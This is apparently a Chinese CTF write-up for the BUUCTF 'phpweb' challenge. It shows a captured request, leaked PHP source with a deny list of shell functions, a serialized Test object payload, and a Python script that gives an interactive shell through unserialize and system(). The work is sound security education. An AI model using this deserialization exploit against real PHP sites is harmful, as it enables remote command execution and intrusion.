反序列化、php审计
打开,这什么鬼
启用checklist,看view source无果,使用burp,发现含有参数,
POST /index.php HTTP/1.1 Host: a32c0082-7a24-48f0-ac37-ab8fb8cb6c36.node4.buuoj.cn:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 29 Origin: http://a32c0082-7a24-48f0-ac37-ab8fb8cb6c36.node4.buuoj.cn:81 Connection: keep-alive Referer: http://a32c0082-7a24-48f0-ac37-ab8fb8cb6c36.node4.buuoj.cn:81/index.php Upgrade-Insecure-Requests: 1 func=date&p=Y-m-d+h%3Ai%3As+a
因为刚刚做过一个file_get_contents的题,测试file_get_contents(index.php),得到源码
<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
本想着绕过,发现没什么可用函数,想着应该是自己不知道某种偏僻函数,看了WP,发现是反序列化,都怪自己对代码审计的敏感度低,可以看到Test类里面的反序列没有函数过滤,所以想着反序列一个Test类
使用在线php序列化Test,
<?php class Test { var $p = "shell"; var $func = "system"; } $a=new Test(); echo(serialize($a)); ?>
得到
O:4:"Test":2:{s:1:"p";s:16:"python --version";s:4:"func";s:6:"system";}
由于来回复制很麻烦,写了个脚本
import requests import re url = 'http://a32c0082-7a24-48f0-ac37-ab8fb8cb6c36.node4.buuoj.cn:81/index.php' # 以字典的形式构造数据 def send_shell(shell): shell_len=str(len(shell)) shell_ser='O:4:"Test":2:{s:1:"p";s:'+shell_len+':"'+shell+'";s:4:"func";s:6:"system";}' #print(shell_ser) data = { 'func':'unserialize', 'p':shell_ser } # 与 get 请求一样,r 为响应对象 r = requests.post(url, data=data) # 查看响应结果p #print(r.text) repose=re.search(r'<p>((?:.|\n)*?)</p>', r.text)#这里学到一个新知识,跨行匹配((?:.|\n)*?) print(repose.group(1)) test=1 send_shell('ls') while 1: shell=input('input your shell :\n') send_shell(shell)
python应该也有专门的序列化的函数,回头再试
2.8 多行匹配模式
Python3 正则表达式
[网鼎杯 2020 朱雀组]phpweb
Linux反弹shell的10种姿势